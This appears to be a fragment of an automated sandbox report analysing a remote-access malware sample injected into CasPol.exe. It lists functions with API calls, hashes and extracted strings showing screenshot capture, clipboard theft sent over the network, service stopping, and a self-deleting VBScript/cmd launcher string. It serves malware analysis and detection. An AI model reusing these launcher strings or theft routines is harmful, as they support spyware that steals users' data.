                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • __EH_prolog.LIBCMT ref: 0041A04A
                                                                                                                                                                                                  • GdiplusStartup.GDIPLUS(00474ACC,?,00000000), ref: 0041A07C
                                                                                                                                                                                                  • CreateDirectoryW.KERNEL32(00000000,00000000,00000000,0000001A,00000019), ref: 0041A108
                                                                                                                                                                                                  • Sleep.KERNEL32(000003E8), ref: 0041A18E
                                                                                                                                                                                                  • GetLocalTime.KERNEL32(?), ref: 0041A196
                                                                                                                                                                                                  • Sleep.KERNEL32(00000000,00000018,00000000), ref: 0041A285
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Sleep$CreateDirectoryGdiplusH_prologLocalStartupTime
                                                                                                                                                                                                  • String ID: time_%04i%02i%02i_%02i%02i%02i$wnd_%04i%02i%02i_%02i%02i%02i$PG$PG$PG
                                                                                                                                                                                                  • API String ID: 489098229-1431523004
                                                                                                                                                                                                  • Opcode ID: a9a564c4fa78c27a57715e2126324e45245b8a766e259b72a025c3b0d3967f40
                                                                                                                                                                                                  • Instruction ID: 12d64888f2a2aa40a87de1a625a26b3edd7a2139bf4817292c9f8cf1352d8a2d
                                                                                                                                                                                                  • Opcode Fuzzy Hash: a9a564c4fa78c27a57715e2126324e45245b8a766e259b72a025c3b0d3967f40
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 7A517D70A002159ACB14BBB5C8529FD77A9AF54308F40407FF509AB1E2EF7C9D85C799
                                                                                                                                                                                                  Function 0040D83A Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 148COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0041288B: TerminateProcess.KERNEL32(00000000,pth_unenc,0040F903), ref: 0041289B
                                                                                                                                                                                                    • Part of subcall function 0041288B: WaitForSingleObject.KERNEL32(000000FF), ref: 004128AE
                                                                                                                                                                                                    • Part of subcall function 00413733: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000), ref: 0041374F
                                                                                                                                                                                                    • Part of subcall function 00413733: RegQueryValueExA.KERNEL32 ref: 00413768
                                                                                                                                                                                                    • Part of subcall function 00413733: RegCloseKey.KERNEL32(00000000), ref: 00413773
                                                                                                                                                                                                  • GetModuleFileNameW.KERNEL32(00000000,?,00000208), ref: 0040D894
                                                                                                                                                                                                  • ShellExecuteW.SHELL32(00000000,open,00000000,00466478,00466478,00000000), ref: 0040D9F3
                                                                                                                                                                                                  • ExitProcess.KERNEL32 ref: 0040D9FF
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Process$CloseExecuteExitFileModuleNameObjectOpenQueryShellSingleTerminateValueWait
                                                                                                                                                                                                  • String ID: """, 0$.vbs$8SG$CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)$CreateObject("WScript.Shell").Run "cmd /c ""$Temp$exepath$open
                                                                                                                                                                                                  • API String ID: 1913171305-3159800282
                                                                                                                                                                                                  • Opcode ID: 4b70463ba685955969749863ee703ff2d46385e84b34a9bcc5033cb71ab30e7d
                                                                                                                                                                                                  • Instruction ID: 6f299f75ad759bd4c56b3f4cab90e5e1fe41ff60d22e8747b975e3d2bb757992
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 4b70463ba685955969749863ee703ff2d46385e84b34a9bcc5033cb71ab30e7d
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9B4129719001155ACB15FBA2DC56DEEB778AF50709F10017FB10AB21E2FF785E8ACA98
                                                                                                                                                                                                  Function 00450680 Relevance: 18.4, APIs: 12, Instructions: 376COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _free
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 269201875-0
                                                                                                                                                                                                  • Opcode ID: f91d4b90763e5671f10523a72ee64b05bbc7cd6159c247d47fb1287d0ca389aa
                                                                                                                                                                                                  • Instruction ID: 80ca3ff3fa16d46db3e6ae4c9b8471dba03f652ca918f9f25067e0b92ee87d4d
                                                                                                                                                                                                  • Opcode Fuzzy Hash: f91d4b90763e5671f10523a72ee64b05bbc7cd6159c247d47fb1287d0ca389aa
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 30C183B6D40204ABEB20DBA9CC43FDE77F8AB09705F150166FE04EB283D6B49D459768
                                                                                                                                                                                                  Function 00455C5B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 00455929: CreateFileW.KERNEL32(00000000,00000000,?,00455D04,?,?,00000000), ref: 00455946
                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00455D6F
                                                                                                                                                                                                  • __dosmaperr.LIBCMT ref: 00455D76
                                                                                                                                                                                                  • GetFileType.KERNEL32 ref: 00455D82
                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00455D8C
                                                                                                                                                                                                  • __dosmaperr.LIBCMT ref: 00455D95
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 00455DB5
                                                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 00455EFF
                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00455F31
                                                                                                                                                                                                  • __dosmaperr.LIBCMT ref: 00455F38
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                                                                                                                                                                                                  • String ID: H
                                                                                                                                                                                                  • API String ID: 4237864984-2852464175
                                                                                                                                                                                                  • Opcode ID: 3e80e4deedef708004bf5c1f14aafc2c87dd9643035db764e93b071d2df20022
                                                                                                                                                                                                  • Instruction ID: 7cd045c9b8f196398d23f94ba58010557f508cd7b58f44c29b3e784ccbbfb847
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 3e80e4deedef708004bf5c1f14aafc2c87dd9643035db764e93b071d2df20022
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 44A14532A106049FDF19AF68DC657BE3BA0EB06325F24015EEC11AB392D6398D1AC759
                                                                                                                                                                                                  Function 00450AA5 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 204COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _free
                                                                                                                                                                                                  • String ID: \&G$\&G$`&G
                                                                                                                                                                                                  • API String ID: 269201875-253610517
                                                                                                                                                                                                  • Opcode ID: fb4e3dbc149d2c7ead481d14af816bdca3ff316622b678324ba67e9487465dd6
                                                                                                                                                                                                  • Instruction ID: 59c4f5d9f803fa3be21c2588ad204ea2c1e8261bb9e1a4607c4596bf86990b35
                                                                                                                                                                                                  • Opcode Fuzzy Hash: fb4e3dbc149d2c7ead481d14af816bdca3ff316622b678324ba67e9487465dd6
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 86610E75900205AFDB21DF69C842B9ABBF4EF06710F24426BED44EB242E774AD45CB58
                                                                                                                                                                                                  Function 00414BEB Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 158COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID: 65535$udp
                                                                                                                                                                                                  • API String ID: 0-1267037602
                                                                                                                                                                                                  • Opcode ID: 92e56e7e39f2557d79d3192c533dec3724d183fd0175ec4c26052f24408cebce
                                                                                                                                                                                                  • Instruction ID: a9902b4e2b63063b067a15c036b171ad6d3a8658db747517b03e91dd9f9ead29
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 92e56e7e39f2557d79d3192c533dec3724d183fd0175ec4c26052f24408cebce
                                                                                                                                                                                                  • Instruction Fuzzy Hash: FB51D431605301ABDB609B14E905BFB77E8ABC5754F08042FF88597390E76CCCC1969E
                                                                                                                                                                                                  Function 0043A8BA Relevance: 16.6, APIs: 11, Instructions: 116COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A912
                                                                                                                                                                                                  • GetLastError.KERNEL32(?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A91F
                                                                                                                                                                                                  • __dosmaperr.LIBCMT ref: 0043A926
                                                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A952
                                                                                                                                                                                                  • GetLastError.KERNEL32(?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A95C
                                                                                                                                                                                                  • __dosmaperr.LIBCMT ref: 0043A963
                                                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,?,?,?,?,?,00401D55,?), ref: 0043A9A6
                                                                                                                                                                                                  • GetLastError.KERNEL32(?,?,?,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A9B0
                                                                                                                                                                                                  • __dosmaperr.LIBCMT ref: 0043A9B7
                                                                                                                                                                                                  • _free.LIBCMT ref: 0043A9C3
                                                                                                                                                                                                  • _free.LIBCMT ref: 0043A9CA
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ByteCharErrorLastMultiWide__dosmaperr$_free
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 2441525078-0
                                                                                                                                                                                                  • Opcode ID: 1b21161869a1c6c97ce00f002d4111b93a94d55ba7b455788bfa216644d838f2
                                                                                                                                                                                                  • Instruction ID: 3a2165a63a30732921e8d6571a772c998230e0148124485b419b79488018c54b
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1b21161869a1c6c97ce00f002d4111b93a94d55ba7b455788bfa216644d838f2
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8631D5B180420AFBDF01AFA5CC45EAF3B6CEF09324F11451AF950662A1DB38CD61DB66
                                                                                                                                                                                                  Function 004054A0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 155windowmemoryCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • SetEvent.KERNEL32(?,?), ref: 004054BF
                                                                                                                                                                                                  • GetMessageA.USER32 ref: 0040556F
                                                                                                                                                                                                  • TranslateMessage.USER32(?), ref: 0040557E
                                                                                                                                                                                                  • DispatchMessageA.USER32(?), ref: 00405589
                                                                                                                                                                                                  • HeapCreate.KERNEL32(00000000,00000000,00000000,00000074,00474F78), ref: 00405641
                                                                                                                                                                                                  • HeapFree.KERNEL32(00000000,00000000,0000003B), ref: 00405679
                                                                                                                                                                                                    • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Message$Heap$CreateDispatchEventFreeTranslatesend
                                                                                                                                                                                                  • String ID: CloseChat$DisplayMessage$GetMessage
                                                                                                                                                                                                  • API String ID: 2956720200-749203953
                                                                                                                                                                                                  • Opcode ID: 446adc4c6d59124945eedb85bce520008cb6d00e0f9ad74daec4be29340df149
                                                                                                                                                                                                  • Instruction ID: d37e718accd843302ceacc2187c81124e04698433963f5de03abd71ab6b9016f
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 446adc4c6d59124945eedb85bce520008cb6d00e0f9ad74daec4be29340df149
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 39419071A04301ABCB14FB76DC5A86F37A9AB85704F40493EF516A31E1EF3C8905CB9A
                                                                                                                                                                                                  Function 00417D1A Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 108filesynchronizationCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 00417F67: __EH_prolog.LIBCMT ref: 00417F6C
                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(00000000,000000FF,00000070,004660B4), ref: 00417E17
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 00417E20
                                                                                                                                                                                                  • DeleteFileA.KERNEL32(00000000), ref: 00417E2F
                                                                                                                                                                                                  • ShellExecuteExA.SHELL32(0000003C,00000000,00000010,?,?,?), ref: 00417DE3
                                                                                                                                                                                                    • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CloseDeleteExecuteFileH_prologHandleObjectShellSingleWaitsend
                                                                                                                                                                                                  • String ID: 0VG$0VG$<$@$Temp
                                                                                                                                                                                                  • API String ID: 1704390241-2575729100
                                                                                                                                                                                                  • Opcode ID: 56381d62612dfaeda6f40a421600c7779e16d03d52b50a481ca23e24a9b19417
                                                                                                                                                                                                  • Instruction ID: 01f79aac078c9204ae4226344def03f9678a0966abb138ad227abf0e83d93267
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 56381d62612dfaeda6f40a421600c7779e16d03d52b50a481ca23e24a9b19417
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 18417E319002099ACB14FB62DC56AEE7735AF00318F50417EF50A761E1EF7C5A8ACB99
                                                                                                                                                                                                  Function 0041697B Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 46clipboardCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • OpenClipboard.USER32 ref: 0041697C
                                                                                                                                                                                                  • EmptyClipboard.USER32 ref: 0041698A
                                                                                                                                                                                                  • CloseClipboard.USER32 ref: 00416990
                                                                                                                                                                                                  • OpenClipboard.USER32 ref: 00416997
                                                                                                                                                                                                  • GetClipboardData.USER32 ref: 004169A7
                                                                                                                                                                                                  • GlobalLock.KERNEL32(00000000), ref: 004169B0
                                                                                                                                                                                                  • GlobalUnlock.KERNEL32(00000000), ref: 004169B9
                                                                                                                                                                                                  • CloseClipboard.USER32 ref: 004169BF
                                                                                                                                                                                                    • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Clipboard$CloseGlobalOpen$DataEmptyLockUnlocksend
                                                                                                                                                                                                  • String ID: !D@
                                                                                                                                                                                                  • API String ID: 2172192267-604454484
                                                                                                                                                                                                  • Opcode ID: b64630acea7acae9f4b6bf79d34c0e4f1fbb3b6ac899b568f0dd2c6f733c1b32
                                                                                                                                                                                                  • Instruction ID: c3dc955394dadbf9cb8fa72aed918e4e170398eafb94270add22466952777bd7
                                                                                                                                                                                                  • Opcode Fuzzy Hash: b64630acea7acae9f4b6bf79d34c0e4f1fbb3b6ac899b568f0dd2c6f733c1b32
                                                                                                                                                                                                  • Instruction Fuzzy Hash: AA014C31204301EFC714BB72DC49AAE7BA5AF88742F40047EF906861E2DF388C45C659
                                                                                                                                                                                                  Function 0041AB9E Relevance: 15.1, APIs: 10, Instructions: 66serviceCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • OpenSCManagerW.ADVAPI32(00000000,00000000,00000011,00000000,00000001,?,?,?,?,?,?,0041A517,00000000), ref: 0041ABAD
                                                                                                                                                                                                  • OpenServiceW.ADVAPI32(00000000,00000000,000F003F,?,?,?,?,?,?,0041A517,00000000), ref: 0041ABC4
                                                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A517,00000000), ref: 0041ABD1
                                                                                                                                                                                                  • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0041A517,00000000), ref: 0041ABE0
                                                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A517,00000000), ref: 0041ABF1
                                                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A517,00000000), ref: 0041ABF4
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Service$CloseHandle$Open$ControlManager
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 221034970-0
                                                                                                                                                                                                  • Opcode ID: 77d1dba04074bb5c0b27b9b0f176deadcb724c45256b7ec0605674b85678f877
                                                                                                                                                                                                  • Instruction ID: a7ddf6af562b27afc3fdb57d9320cc893b1711f81dd6882f7bac22400d97ef93
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 77d1dba04074bb5c0b27b9b0f176deadcb724c45256b7ec0605674b85678f877
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1411E931501218BFD711AF64DC85CFF3B6CDB41B66B000426FA0692191EB689D46AAFA
                                                                                                                                                                                                  Function 004481A1 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • _free.LIBCMT ref: 004481B5
                                                                                                                                                                                                    • Part of subcall function 00446802: HeapFree.KERNEL32(00000000,00000000), ref: 00446818
                                                                                                                                                                                                    • Part of subcall function 00446802: GetLastError.KERNEL32(?,?,00450CEF,?,00000000,?,00000000,?,00450F93,?,00000007,?,?,004514DE,?,?), ref: 0044682A
                                                                                                                                                                                                  • _free.LIBCMT ref: 004481C1
                                                                                                                                                                                                  • _free.LIBCMT ref: 004481CC
                                                                                                                                                                                                  • _free.LIBCMT ref: 004481D7
                                                                                                                                                                                                  • _free.LIBCMT ref: 004481E2
                                                                                                                                                                                                  • _free.LIBCMT ref: 004481ED
                                                                                                                                                                                                  • _free.LIBCMT ref: 004481F8
                                                                                                                                                                                                  • _free.LIBCMT ref: 00448203
                                                                                                                                                                                                  • _free.LIBCMT ref: 0044820E
                                                                                                                                                                                                  • _free.LIBCMT ref: 0044821C
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _free$ErrorFreeHeapLast
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 776569668-0
                                                                                                                                                                                                  • Opcode ID: 7409258e8d3de90c3944c0df00460aed843c684c15a9003062b0a9d40dd376ab
                                                                                                                                                                                                  • Instruction ID: 68a5115f29dd4dda1e04096f5587add38bc33a27c3b2fba9646c6a67a64c999e
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 7409258e8d3de90c3944c0df00460aed843c684c15a9003062b0a9d40dd376ab
                                                                                                                                                                                                  • Instruction Fuzzy Hash: AA11E9B6901108BFDB01FF55C852CDD3B65FF05354B0244AAF9488F222DB75DE509B95
                                                                                                                                                                                                  Function 100059D6 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • _free.LIBCMT ref: 100059EA
                                                                                                                                                                                                    • Part of subcall function 1000571E: HeapFree.KERNEL32(00000000,00000000), ref: 10005734
                                                                                                                                                                                                    • Part of subcall function 1000571E: GetLastError.KERNEL32(?,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?,?), ref: 10005746
                                                                                                                                                                                                  • _free.LIBCMT ref: 100059F6
                                                                                                                                                                                                  • _free.LIBCMT ref: 10005A01
                                                                                                                                                                                                  • _free.LIBCMT ref: 10005A0C
                                                                                                                                                                                                  • _free.LIBCMT ref: 10005A17
                                                                                                                                                                                                  • _free.LIBCMT ref: 10005A22
                                                                                                                                                                                                  • _free.LIBCMT ref: 10005A2D
                                                                                                                                                                                                  • _free.LIBCMT ref: 10005A38
                                                                                                                                                                                                  • _free.LIBCMT ref: 10005A43
                                                                                                                                                                                                  • _free.LIBCMT ref: 10005A51
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _free$ErrorFreeHeapLast
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 776569668-0
                                                                                                                                                                                                  • Opcode ID: c98d8f3bae8e62c9802464aaca1a5f37d2e9bc397092d84fe88d11ffaa9aaf75
                                                                                                                                                                                                  • Instruction ID: 60753d52f1e9cb5801f9add085180c5dd3fc305f79823ad6bc57240ee419c635
                                                                                                                                                                                                  • Opcode Fuzzy Hash: c98d8f3bae8e62c9802464aaca1a5f37d2e9bc397092d84fe88d11ffaa9aaf75
                                                                                                                                                                                                  • Instruction Fuzzy Hash: BE11B97E514548FFEB11DF58D842CDE3FA9EF04291B4540A1BD088F12ADA32EE50AB84
                                                                                                                                                                                                  Function 00411530 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 191COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
